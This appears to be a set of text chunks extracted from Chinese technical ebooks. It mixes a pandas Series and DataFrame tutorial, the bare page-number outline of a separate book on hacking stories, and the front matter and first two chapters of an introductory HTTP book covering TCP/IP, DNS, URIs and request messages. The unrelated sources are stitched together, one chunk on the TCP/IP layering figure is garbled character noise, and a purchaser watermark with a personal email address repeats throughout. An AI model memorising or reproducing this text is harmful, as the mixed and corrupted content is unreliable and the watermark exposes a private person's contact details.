    {"text": "你可以通过Series 的values和index属性获取 其数组表示形式和索引对象： 124 In [13]: obj.values Out[13]: array([ 4, 7, -5, 3]) In [14]: obj.index # like range(4) Out[14]: RangeIndex(start=0, stop=4, step=1) 通常，我们希望所创建的Series带有一个可以对各个数据点进行标记的索引： In [15]: obj2 = pd.Series([4, 7, -5, 3], index=['d', 'b', 'a', 'c']) In [16]: obj2 Out[16]: d 4 b 7 a -5 c 3 dtype: int64 In [17]: obj2.index Out[17]: Index(['d', 'b', 'a', 'c'], dtype='object') 与普通NumPy数组相比，你可以通过索引的方式选取Series中的单个或一组值： In [18]: obj2['a'] Out[18]: -5 In [19]: obj2['d'] = 6 In [20]: obj2[['c', 'a', 'd']] Out[20]: c 3 a -5 d 6 dtype: int64 ['c', 'a', 'd']是索引列表，即使它包含的是字符串而不是整数。 使用NumPy函数或类似NumPy的运算（如根据布尔型数组进行过滤、标量乘法、应用数学函数 等）都会保留索引值的链接： In [21]: obj2[obj2 > 0] Out[21]: d 6 b 7 c 3 dtype: int64 125 In [22]: obj2 * 2 Out[22]: d 12 b 14 a -10 c 6 dtype: int64 In [23]: np.exp(obj2) Out[23]: d 403.428793 b 1096.633158 a 0.006738 c 20.085537 dtype: float64 还可以将Series看成是一个定长的有序字典，因为它是索引值到数据值的一个映射。 它可以用在许 多原本需要字典参数的函数中： In [24]: 'b' in obj2 Out[24]: True In [25]: 'e' in obj2 Out[25]: False 如果数据被存放在一个Python字典中，也可以直接通过这个字典来创建Series： In [26]: sdata = {'Ohio': 35000, 'Texas': 71000, 'Oregon': 16000, 'Utah': 5000} In [27]: obj3 = pd.Series(sdata) In [28]: obj3 Out[28]: Ohio 35000 Oregon 16000 Texas 71000 Utah 5000 dtype: int64 如果只传入一个字典，则结果Series中的索引就是原字典的键（有序排列）。 你可以传入排好序的 字典的键以改变顺序： In [29]: states = ['California', 'Ohio', 'Oregon', 'Texas'] In [30]: obj4 = pd.Series(sdata, index=states) 126 In [31]: obj4 Out[31]: California NaN Ohio 35000.0 Oregon 16000.0 Texas 71000.0 dtype: float64 在这个例子中，sdata中跟states索引相匹配的那3个值会被找出来并放到相应的位置上，但由 于\"California\"所对应的sdata值找不到，所以其结果就为NaN（即“非数字”（not a number），在 pandas中，它用于表示缺失或NA值）。"},
    {"text": "pandas的isnull和notnull函数可用于检测缺失数 据： In [32]: pd.isnull(obj4) Out[32]: California True Ohio False Oregon False Texas False dtype: bool In [33]: pd.notnull(obj4) Out[33]: California False Ohio True Oregon True Texas True dtype: bool Series也有类似的实例方法： In [34]: obj4.isnull() Out[34]: California True Ohio False Oregon False Texas False dtype: bool 我将在第7章详细讲解如何处理缺失数据。"},
    {"text": "对于许多应用而言，Series最重要的一个功能是，它会根据运算的索引标签自动对齐数据： 127 In [35]: obj3 Out[35]: Ohio 35000 Oregon 16000 Texas 71000 Utah 5000 dtype: int64 In [36]: obj4 Out[36]: California NaN Ohio 35000.0 Oregon 16000.0 Texas 71000.0 dtype: float64 In [37]: obj3 + obj4 Out[37]: California NaN Ohio 70000.0 Oregon 32000.0 Texas 142000.0 Utah NaN dtype: float64 数据对齐功能将在后面详细讲解。"},
    {"text": "Series对象本身及其索引都有一个name属性，该属性跟pandas其他的关键功能关系非常密切： In [38]: obj4.name = 'population' In [39]: obj4.index.name = 'state' In [40]: obj4 Out[40]: state California NaN Ohio 35000.0 Oregon 16000.0 Texas 71000.0 Name: population, dtype: float64 Series的索引可以通过赋值的方式就地修改： In [41]: obj Out[41]: 0 4 128 1 7 2 -5 3 3 dtype: int64 In [42]: obj.index = ['Bob', 'Steve', 'Jeff', 'Ryan'] In [43]: obj Out[43]: Bob 4 Steve 7 Jeff -5 Ryan 3 dtype: int64 DataFrame DataFrame是一个表格型的数据结构，它含有一组有序的列，每列可以是不同的值类型（数值、字 符串、布尔值等）。"},
    {"text": "DataFrame既有行索引也有列索引，它可以被看做由Series组成的字典（共用 同一个索引）。 DataFrame中的数据是以一个或多个二维块存放的（而不是列表、字典或别的一维 数据结构）。"},
    {"text": "笔记：虽然DataFrame是以二维结构保存数据的，但你仍然可以轻松地将其表示为更高维度 的数据（层次化索引的表格型结构，这是pandas中许多高级数据处理功能的关键要素，我们 会在第8章讨论这个问题）。"},
    {"text": "建DataFrame的办法有很多，最常用的一种是直接传入一个由等长列表或NumPy数组组成的字 典： data = {'state': ['Ohio', 'Ohio', 'Ohio', 'Nevada', 'Nevada', 'Nevada'], 'year': [2000, 2001, 2002, 2001, 2002, 2003], 'pop': [1.5, 1.7, 3.6, 2.4, 2.9, 3.2]} frame = pd.DataFrame(data) 结果DataFrame会自动加上索引（跟Series一样），且全部列会被有序排列： In [45]: frame Out[45]: pop state year 0 1.5 Ohio 2000 1 1.7 Ohio 2001 2 3.6 Ohio 2002 3 2.4 Nevada 2001 4 2.9 Nevada 2002 5 3.2 Nevada 2003 129 如果你使用的是Jupyter notebook，pandas DataFrame对象会以对浏览器友好的HTML表格的方式 呈现。 对于特别大的DataFrame，head方法会选取前五行： In [46]: frame.head() Out[46]: pop state year 0 1.5 Ohio 2000 1 1.7 Ohio 2001 2 3.6 Ohio 2002 3 2.4 Nevada 2001 4 2.9 Nevada 2002 如果指定了列序列，则DataFrame的列就会按照指定顺序进行排列： In [47]: pd.DataFrame(data, columns=['year', 'state', 'pop']) Out[47]: year state pop 0 2000 Ohio 1.5 1 2001 Ohio 1.7 2 2002 Ohio 3.6 3 2001 Nevada 2.4 4 2002 Nevada 2.9 5 2003 Nevada 3.2 如果传入的列在数据中找不到，就会在结果中产生缺失值： In [48]: frame2 = pd.DataFrame(data, columns=['year', 'state', 'pop', 'debt'], ....: index=['one', 'two', 'three', 'four', ....: 'five', 'six']) In [49]: frame2 Out[49]: year state pop debt one 2000 Ohio 1.5 NaN two 2001 Ohio 1.7 NaN three 2002 Ohio 3.6 NaN four 2001 Nevada 2.4 NaN five 2002 Nevada 2.9 NaN six 2003 Nevada 3.2 NaN In [50]: frame2.columns Out[50]: Index(['year', 'state', 'pop', 'debt'], dtype='object') 通过类似字典标记的方式或属性的方式，可以将DataFrame的列获取为一个Series： 130 In [51]: frame2['state'] Out[51]: one Ohio two Ohio three Ohio four Nevada five Nevada six Nevada Name: state, dtype: object In [52]: frame2.year Out[52]: one 2000 two 2001 three 2002 four 2001 five 2002 six 2003 Name: year, dtype: int64 笔记：IPython提供了类似属性的访问（即frame2.year）和tab补全。"},
    {"text": "行也可以通过位置或名称的方式进行获取，比如用loc属性（稍后将对此进行详细讲解）： In [53]: frame2.loc['three'] Out[53]: year 2002 state Ohio pop 3.6 debt NaN Name: three, dtype: object 列可以通过赋值的方式进行修改。"},
    {"text": "例如，我们可以给那个空的\"debt\"列赋上一个标量值或一组值： In [54]: frame2['debt'] = 16.5 In [55]: frame2 Out[55]: year state pop debt one 2000 Ohio 1.5 16.5 two 2001 Ohio 1.7 16.5 three 2002 Ohio 3.6 16.5 four 2001 Nevada 2.4 16.5 five 2002 Nevada 2.9 16.5 131 six 2003 Nevada 3.2 16.5 In [56]: frame2['debt'] = np.arange(6.) In [57]: frame2 Out[57]: year state pop debt one 2000 Ohio 1.5 0.0 two 2001 Ohio 1.7 1.0 three 2002 Ohio 3.6 2.0 four 2001 Nevada 2.4 3.0 five 2002 Nevada 2.9 4.0 six 2003 Nevada 3.2 5.0 将列表或数组赋值给某个列时，其长度必须跟DataFrame的长度相匹配。 如果赋值的是一个 Series，就会精确匹配DataFrame的索引，所有的空位都将被填上缺失值： In [58]: val = pd.Series([-1.2, -1.5, -1.7], index=['two', 'four', 'five']) In [59]: frame2['debt'] = val In [60]: frame2 Out[60]: year state pop debt one 2000 Ohio 1.5 NaN two 2001 Ohio 1.7 -1.2 three 2002 Ohio 3.6 NaN four 2001 Nevada 2.4 -1.5 five 2002 Nevada 2.9 -1.7 six 2003 Nevada 3.2 NaN 为不存在的列赋值会创建出一个新列。"},
    {"text": "作为del的例子，我先添加一个新的布尔值的列，state是否为'Ohio'： In [61]: frame2['eastern'] = frame2.state == 'Ohio' In [62]: frame2 Out[62]: year state pop debt eastern one 2000 Ohio 1.5 NaN True two 2001 Ohio 1.7 -1.2 True three 2002 Ohio 3.6 NaN True four 2001 Nevada 2.4 -1.5 False five 2002 Nevada 2.9 -1.7 False six 2003 Nevada 3.2 NaN False 132 注意：不能用frame2.eastern创建新的列。 del方法可以用来删除这列： In [63]: del frame2['eastern'] In [64]: frame2.columns Out[64]: Index(['year', 'state', 'pop', 'debt'], dtype='object') 注意：通过索引方式返回的列只是相应数据的视图而已，并不是副本。"},
    {"text": "另一种常见的数据形式是嵌套字典： In [65]: pop = {'Nevada': {2001: 2.4, 2002: 2.9}, ....: 'Ohio': {2000: 1.5, 2001: 1.7, 2002: 3.6}} 如果嵌套字典传给DataFrame，pandas就会被解释为：外层字典的键作为列，内层键则作为行索 引： In [66]: frame3 = pd.DataFrame(pop) In [67]: frame3 Out[67]: Nevada Ohio 2000 NaN 1.5 2001 2.4 1.7 2002 2.9 3.6 你也可以使用类似NumPy数组的方法，对DataFrame进行转置（交换行和列）： In [68]: frame3.T Out[68]: 2000 2001 2002 Nevada NaN 2.4 2.9 Ohio 1.5 1.7 3.6 内层字典的键会被合并、排序以形成最终的索引。 如果明确指定了索引，则不会这样： In [69]: pd.DataFrame(pop, index=[2001, 2002, 2003]) Out[69]: Nevada Ohio 2001 2.4 1.7 2002 2.9 3.6 133 2003 NaN NaN 由Series组成的字典差不多也是一样的用法： In [70]: pdata = {'Ohio': frame3['Ohio'][:-1], ....: 'Nevada': frame3['Nevada'][:2]} In [71]: pd.DataFrame(pdata) Out[71]: Nevada Ohio 2000 NaN 1.5 2001 2.4 1.7 表5-1列出了DataFrame构造函数所能接受的各种数据。 如果设置了DataFrame的index和columns的name属性，则这些信息也会被显示出来： In [72]: frame3.index.name = 'year'; frame3.columns.name = 'state' In [73]: frame3 Out[73]: state Nevada Ohio year 2000 NaN 1.5 134 2001 2.4 1.7 2002 2.9 3.6 跟Series一样，values属性也会以二维ndarray的形式返回DataFrame中的数据： In [74]: frame3.values Out[74]: array([[ nan, 1.5], [ 2.4, 1.7], [ 2.9, 3.6]]) 如果DataFrame各列的数据类型不同，则值数组的dtype就会选用能兼容所有列的数据类型："},
    {"text": "反入侵的艺术 黑客入侵背后的真实故事\nCover\n反入侵的艺术 黑客入侵背后的真实故事 Document Outline 封面 书名 版权 前言 目录 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239"},
    {"text": "index 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 数字版权声明 图灵社区的电子书没有采用专有 客户端，您可以在任意设备上， 用自己喜欢的浏览器和PDF阅读 器进行阅读。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图书在版编目（CIP）数据 图解HTTP / （日） 上野宣著；"},
    {"text": "于均良译. -- 北京： 人民邮电出版社，2014.5 （图灵程序设计丛书） ISBN 978-7-115-35153-1 Ⅰ. ①图… Ⅱ. ①上… ②于… Ⅲ. ①计算机网络－ 通信协议 Ⅳ. ①TN915.04 中国版本图书馆CIP数据核字（2014）第055492号 内 容 提 要 本书对互联网基盘——HTTP协议进行了全面系统的介绍。 作者由HTTP协议的发 展历史娓娓道来，严谨细致地剖析了HTTP协议的结构，列举诸多常见通信场景及实战 案例，最后延伸到 Web安全、最新技术动向等方面。 本书的特色为在讲解的同时，辅以 大量生动形象的通信图例，更好地帮助读者深刻理解 HTTP通信过程中客户端与服务 器之间的交互情况。 读者可通过本书快速了解并掌握 HTTP协议的基础，前端工程师分 析抓包数据，后端工程师实现 REST API、实现自己的HTTP服务器等过程中所需的 HTTP相关知识点本书均有介绍。 本书适合Web开发工程师，以及对HTTP协议感兴趣的各层次读者。"},
    {"text": "◆ 著 ［日］ 上野 宣 译 于均良 责任编辑 徐 骞 责任印制 焦志炜 ◆ 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京 印刷 ◆ 开本：880×1230 1/32 印张：8.25 字数：220千字 2014年5月第1 版 印数：1 - 4000册 2014年5月北京第1次印刷 著作权合同登记号 图字： 01-2013-8984号 定价：49.00元 读者服务热线： (010)51095186 转 600 印装质量热线： (010)81055316 反盗版热线： (010)81055315 广告经营许可证：京崇工商广字第 0021 号 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 版 权 声 明 HTTP の教科書（ISBN 978-4-7981-2625-8） Copyright © 2013 by SEN UENO. Original Japanese edition published by SHOEISHA Co., Ltd Simplified Chinese Character translation rights arranged with SHOEISHA Co., Ltd through CREEK & RIVER Co., Ltd Simplified Chinese Character translation copyright © 2014 by Posts & Telecom Press 本书中文简体字版由 SHOEISHA Co., Ltd. 授权人民邮电出版社独 家出版。"},
    {"text": "） 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 译者序 目前，国内讲解 HTTP 协议的书实在太少了。"},
    {"text": "这两本书都是被读者们奉为“圣经”的经典 之作，大师们的授道自然无可挑剔，但关键是它们对初学者都不那么友 好，大家的学习信心很容易受到打击，阅读中途或将束之高阁。"},
    {"text": "我在学习 Web 开发的过程中，曾接触到编写网络爬虫程序、分析 抓包数据、实现 HTTP 服务器、提供网站 REST API、修改后端定制框 架等方面，它们无一例外，都会用到 HTTP 协议的各方面知识，并且某 些细节无法通过查阅资料立即领会到，还需依靠扎实的基础及平日里的 积累。"},
    {"text": "前半部分由 HTTP 的成长发展史娓娓道来，基于 HTTP 1.1 标准讲解通信过程，包 括 HTTP 方法、协议格式、报文结构、首部字段、状态码等的具体含 义，还分别讲解 HTTP 通信过程中代理、网关、隧道等的作用。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 旨在让读者对 HTTP 协议形成一个整体概念，明确设计 HTTP 的目的及 意义所在，了解 HTTP 的工作机制，掌握报文中常用的首部字段，返回 结果状态码的作用，对各种客户端与服务器的通信交互场景的细节等都 做到了然于心，从而在平时的开发工作中独立思考，迅速准确地定位分 析由 HTTP 引发的问题，并辅以适当的方法加以解决。"},
    {"text": "在本书即将付梓之际，感谢 EMC 首席工程师高博学长、IBM 工程 师 李 亚 舟（Fleuria）、 豆 瓣 运 维 工 程 师 钱 龙、 全 栈 工 程 师 缪 思 源 （Aveline Swan）以及姜莹等好友。"},
    {"text": "于均良 2014 年 1 月 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 前言 本书的上一版是 2004 年出版的《今夜わかる HTTP》（中文译名： 今晚我们一起学习 HTTP，翔泳社）。"},
    {"text": "本书不仅面向 Web 应用程序的开发者，还面向使用 Web 的软件开 发者、Web 风险评估的安全工程师、前端工程师以及 Web 使用者等与 Web 相关的所有读者，希望这本书能对大家有所帮助。"},
    {"text": "写于华盛顿 DC 的酒店 2013 年 1 月吉日 TRICORDER 株式会社 上野宣 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 致谢 Masato Kinugawa 先生 感谢您细致的检查核对，并站在读者的角度提出宝贵建议。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 1.1 使用 HTTP 协议访问 Web 你知道当我们在网页浏览器（Web browser）的地址栏中输入 URL 时，Web 页面是如何呈现的吗？ 当在浏览器的地址栏内输入 URL 时，可以看到 Web 页面 当然，即使你不了解其运作原理，也能看到 Web 页面 在浏览器地址栏内输入 URL 之后，信息会被送往某处 客户端 然后从某处获得的回复，内容就会显示在 Web 页面上 002 Web 页面当然不能凭空显示出来。 根据 Web 浏览器地址栏中指定 的 URL，Web 浏览器从 Web 服务器端获取文件资源（resource）等信 息，从而显示出 Web 页面。"},
    {"text": "通过指定的访问地址获取（或上传）服务器 资源（文件等信息） 使用 HTTP 协议的通信 客户端 服务器 Web 使用一种名为 HTTP（HyperText Transfer Protocol，超文本传输 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 协议 A） 的协议作为规范，完成从客户端到服务器端等一系列运作流程。"},
    {"text": "1.2 HTTP 的诞生 在深入学习 HTTP 之前，我们先来介绍一下 HTTP 诞生的背景。 了 解背景的同时也能了解当初制定 HTTP 的初衷，这样有助于我们更好地 理解。"},
    {"text": "——译者注 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 CERN（欧洲核子研究组织）的蒂姆 • 伯纳斯 - 李（Tim Berners-Lee）博士提出了一种能让远隔两地的研究者们共享知识的设想。"},
    {"text": "现在已提出了 3 项 WWW 构建技术，分别是：把 SGML（Standard Generalized Markup Language，标准通用标记语言）作为页面的文本标 记语言的 HTML（HyperText Markup Language，超文本标记语言）；"},
    {"text": "● ● 日本第一个主页 http://www.ibarakiken.gr.jp/www/ 1990 年，大家针对 HTML 1.0 草案进行了讨论，因 HTML 1.0 中存 在多处模糊不清的部分，草案被直接废弃了。"},
    {"text": "● ● ●HTML1.0 http://www.w3.org/MarkUp/draft-ietf-iiir-html-01.txt 1993 年 1 月，现代浏览器的祖先 NCSA（National Center for Supercomputer Applications，美国国家超级计算机应用中心）研发的 Mosaic 问世了。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 ● ● ●NCSA●Mosaic●bounce●page http://archive.ncsa.illinois.edu/mosaic.html ● ● ●The●NCSA●HTTPd●Home●Page● （存档） http://web.archive.org/web/20090426182129/http://hoohoo.ncsa. illinois.edu/（原址已失效） 1994 年 的 12 月， 网 景 通 信 公 司 发 布 了 Netscape Navigator 1.0， 1995 年微软公司发布 Internet Explorer 1.0 和 2.0。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 HTTP/1.0 HTTP 正 式 作 为 标 准 被 公 布 是在 1996 年的 5 月，版本被命名为 HTTP/1.0，并记载于 RFC1945。"},
    {"text": "● ● ●RFC1945●-●Hypertext●Transfer●Protocol●--●HTTP/1.0 http://www.ietf.org/rfc/rfc1945.txt HTTP/1.1 1997 年 1 月公布的 HTTP/1.1 是目前主流的 HTTP 协议版本。"},
    {"text": "● ● ●RFC2616●-●Hypertext●Transfer●Protocol●--●HTTP/1.1 http://www.ietf.org/rfc/rfc2616.txt 006 可见，作为 Web 文档传输协议的 HTTP，它的版本几乎没有更新。"},
    {"text": "1.3 网络基础 TCP/IP 为了理解 HTTP，我们有必要事先了解一下 TCP/IP 协议族。 通常使用的网络（包括互联网）是在 TCP/IP 协议族的基础上运作 的。"},
    {"text": "比 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 如，如何探测到通信目标、由哪一边先发起通信、使用哪种语言进行通 信、怎样结束通信等规则都需要事先确定。"},
    {"text": "像这样把与互联网相关联的协议集合起来总称为 TCP/IP。 也有说 法认为，TCP/IP 是指 TCP 和 IP 这两种协议。 还有一种说法认为，TCP/ IP 是在 IP 协议的通信过程中，使用到的协议族的统称。 1.3.2 TCP/IP 的分层管理 TCP/IP 协议族里重要的一点就是分层。 TCP/IP 协议族按层次分别 分为以下 4 层：应用层、传输层、网络层和数据链路层。 把 TCP/IP 层次化是有好处的。"},
    {"text": "处于应用层 上的应用可以只考虑分派给自己的任务，而不需要弄清对方在地球上哪 个地方、对方的传输路线是怎样的、是否能确保传输送达等问题。"},
    {"text": "该层规定了通过怎样的路径（所谓的传输路线）到达对 方计算机，并把数据包传送给对方。 与对方计算机之间通过多台计算机或网络设备进行传输时，网络层 所起的作用就是在众多的选项内选择一条传输路线。 链路层（又名数据链路层，网络接口层） 用来处理连接网络的硬件部分。"},
    {"text": "包括控制操作系统、硬件的设备驱 动、NIC（Network Interface Card，网络适配器，即网卡），及光纤 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 等物理可见部分（还包括连接器等一切传输媒介）。"},
    {"text": "1.3.3 TCP/IP 通信传输流 客户端 服务器 HTTP HTTP 应用层 客户端 服务器 传输层 TCP TCP 网络层 IP IP 009 链路层 网络 网络 利用 TCP/IP 协议族进行网络通信时，会通过分层顺序与对方进行 通信。"},
    {"text": "我们用 HTTP 举例来说明，首先作为发送端的客户端在应用层 （HTTP 协议）发出一个想看某个 Web 页面的 HTTP 请求。 接着，为了传输方便，在传输层（TCP 协议）把从应用层处收到的 数据（HTTP 请求报文）进行分割，并在各个报文上打上标记序号及端 口号后转发给网络层。"},
    {"text": "Ԧᤞቪ ଋஅቪ ඇ᤯᣾ʶࡎѶ ඇ᤯᣾ʶࡎѶ ܘҪᯪᦉ Ѻᬓᯪᦉ )551 ઐ஠ ःၸࡎ )551 ஜ૵ )551 ஜ૵ 5$1 ᯪᦉ 5$1 ᯪᦉ 5$1 ᯪᦉ ͛ᣤࡎ )551 ஜ૵ )551 ஜ૵ *1 ஜ૵Ӊ *1 ᯪᦉ *1 ᯪᦉ 5$1 ᯪᦉ 5$1 ᯪᦉ Ꭹፎࡎ )551 ஜ૵ )551 ஜ૵ Ꭹፎ౵ౝ 010 ܹ̾Ꭹᯪᦉ ܹ̾Ꭹᯪᦉ *1 ᯪᦉ *1 ᯪᦉ ᩖᡸࡎ 5$1 ᯪᦉ 5$1 ᯪᦉ )551 ஜ૵ )551 ஜ૵ 发送端在层与层之间传输数据时，每经过一层时必定会被打上一个 该层所属的首部信息。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 1.4.1 负责传输的 IP 协议 按层次分，IP（Internet Protocol）网际协议位于网络层。"},
    {"text": "Internet Protocol 这个名称可能听起来有点夸张，但事实正是如此，因为几乎所 有使用网络的系统都会用到 IP 协议。 TCP/IP 协议族中的 IP 指的就是网 际协议，协议名称中占据了一半位置，其重要性可见一斑。 可能有人会 把“IP”和“IP 地址”搞混，“IP”其实是一种协议的名称。 IP 协议的作用是把各种数据包传送给对方。"},
    {"text": "IP 地址指明了节点被分配到的地址，MAC 地址是指网卡所属的固 定地址。 IP 地址可以和 MAC 地址进行配对。 IP 地址可变换，但 MAC 地址基本上不会更改。"},
    {"text": "想要寄快递的人，只要将自己的货物送到集散中心，就可以知道快递公 司是否肯收件发货，该快递公司的集散中心检查货物的送达地址，明确 下站该送往哪个区域的集散中心。"},
    {"text": "想往 IP 地址为 192.0.43.10 的 地方发送数据包 （使用 ARP 协议解析后但未解析） 总之先发送给 00-XX-C6-6B-XX-XX 吧 MAC 地址 发送端 00-XX-C6-6B-XX-XX 中——转！"},
    {"text": "路由器 MAC 地址 00-XX-B5-A5-XX-XX IP 地址：192.0.43.10 MAC 地址：00-XX-A6-6B-XX-XX 接收端 1.4.2 确保可靠性的 TCP 协议 按层次分，TCP 位于传输层，提供可靠的字节流服务。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 确保数据能到达目标 为了准确无误地将数据送达目标处，TCP 协议采用了三次握手 （three-way handshaking）策略。"},
    {"text": "发送端首先发送一个带 SYN 标志的数据包给对方。 接收端收到后， 回传一个带有 SYN/ACK 标志的数据包以示传达确认信息。 最后，发送 端再回传一个带 ACK 标志的数据包，代表“握手”结束。"},
    {"text": "我想访问 hackr.jp 网页…… 014 把它的 IP 地址告诉我吧 发送端 DNS hackr.jp 对应的 IP 地址 是 20X.189.105.112 IP 地址 20X.189.105.112 向 20X.189.105.112 发送访问请求 hackr.jp 的 Web 服务器 1.6 各种协议与 HTTP 协议的关系 学习了和 HTTP 协议密不可分的 TCP/IP 协议族中的各种协议后， 我 们 再 通 过 这 张 图 来 了 解 下 IP 协议、TCP 协议和 DNS 服务在使用 HTTP 协议的通信过程中各自发挥了哪些作用。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 我想浏览 http://hackr.jp/xss/ Web 页面 告诉我 hackr.jp 的 IP 地址吧 hackr.jp 对应的 IP 地址是 20X.189.105.112 客户端 DNS HTTP 协议的职责 生成针对目标 Web 服务器的 HTTP 请求报文 请给我 http://hackr.jp/xss 页面的资源 TCP 协议的职责 为了方便通信，将 HTTP 请求报文分割成报文段 按序号分为多个 报文段 把每个报文段可靠地传给对方 IP 协议的职责 015 搜索对方的地址，一边中转一边传送 路由器 路由器 TCP 协议的职责 从对方那里接收到的报文段 重组到达的报文段 按序号以原来的顺序 重组请求报文 HTTP 协议的职责 对 Web 服务器请求的内容的处理 原来是想要这台计算机上的 /xss/ 资源啊 IP 地址 20X.189.105.112 请求的处理结果也同样利用 TCP/IP hackr.jp 通信协议向用户进行回传 服务器 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 1.7 URI 和 URL 与 URI（统 一 资 源 标 识 符 ） 相 比， 我 们 更 熟 悉 URL（Uniform Resource Locator，统一资源定位符）。"},
    {"text": "标准的 URI 协议方案有 30 种左右，由隶属于国 际互联网资源管理的非营利社团 ICANN（Internet Corporation for Assigned Names and Numbers， 互 联 网 名 称 与 数 字 地 址 分 配 机 构 ） 的 IANA （Internet Assigned Numbers Authority，互联网号码分配局）管理颁布。 ● ● ●IANA●-●Uniform●Resource●Identifier●(URI)●SCHEMES●（统一资 源标识符方案） http://www.iana.org/assignments/uri-schemes URI 用字符串标识某一互联网资源，而 URL 表示资源的地点（互 联网上所处的位置）。"},
    {"text": "ftp://ftp.is.co.za/rfc/rfc1808.txt http://www.ietf.org/rfc/rfc2396.txt ldap://[2001:db8::7]/c=GB?objectClass?one mailto:John.Doe@example.com news:comp.infosystems.www.servers.unix tel:+1-816-555-1212 telnet://192.0.2.16:80/ urn:oasis:names:specification:docbook:dtd:xml:4.1.2 本书接下来的章节中会频繁出现 URI 这个术语，在充分理解的基 础上，也可用 URL 替换 URI。"},
    {"text": "http://user:pass@www.example.jp:80/dir/index.htm?uid=1#ch1 协议 登录信息 服务器地址 带层次的文件路径 片段标识符 方案名 （认证） 服务器端口号 查询字符串 使用 http: 或 https: 等协议方案名获取访问资源时要指定协议类型。"},
    {"text": "地址可以是类似 hackr.jp 这种 DNS 可解析的名称，或是 192.168.1.1 这类 IPv4 地址 名，还可以是 [0:0:0:0:0:0:0:1] 这样用方括号括起来的 IPv6 地址名。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 1 章 了解 Web 及网络基础 片段标识符 使用片段标识符通常可标记出已获取资源中的子资源（文档内的 某个位置）。"},
    {"text": "可以说，RFC 是互 联网的设计文档，要是不按照 RFC 标准执行，就有可能导致无法通信的 状况。 比如，有一台 Web 服务器内的应用服务没有遵照 RFC 的标准实现， 那 Web 浏览器就很可能无法访问这台服务器了。 由于不遵照 RFC 标准实现就无法进行 HTTP 协议通信，所以基本上 019 客户端和服务器端都会以 RFC 为标准来实现 HTTP 协议。 但也存在某些 应用程序因客户端或服务器端的不同，而未遵照 RFC 标准，反而将自成 一套的“标准”扩展的情况。"},
    {"text": "图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 Chapter2 第 2 章 简单的 HTTP 协议 本章将针对HTTP协议结构进行讲解，主要使用HTTP/1.1版本。 学 完这章，想必大家就能理解HTTP协议的基础了。 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 2.1 HTTP 协议用于客户端和服务器端之间的通信 HTTP 协议和 TCP/IP 协议族内的其他众多的协议相同，用于客户 端和服务器之间的通信。"},
    {"text": "请求访问文本或图像等资源的一端称为客户端，而提供资源响应的 一端称为服务器端。 我是客户端 我是服务器 客户端 服务器 图：应用 HTTP 协议时，必定是一端担任客户端角色，另一端担任服务器端角色 022 在两台计算机之间使用 HTTP 协议通信时，在一条通信线路上必定 有一端是客户端，另一端则是服务器端。"},
    {"text": "发送请求 响应回复 客户端 服务器 图：请求必定由客户端发出，而服务器端回复响应 图灵社区会员 小释(136359238@qq.com) 专享 尊重版权 第 2 章 简单的 HTTP 协议 HTTP 协议规定，请求从客户端发出，最后服务器端响应该请求并 返回。"},
    {"text": "①发送请求 GET / HTTP/1.1 Host: hackr.jp 客户端 服务器 ②发送响应 HTTP/1.1 200 OK Date: Tue, 10 Jul 2012 06:50:15 GMT Content-Length: 362 Content-Type: text/html <html> 023 ... 下面则是从客户端发送给某个 HTTP 服务器端的请求报文中的 内容。 GET /index.htm HTTP/1.1 Host: hackr.jp 起 始 行 开 头 的 GET 表 示 请 求 访 问 服 务 器 的 类 型， 称 为 方 法 （method）。"},
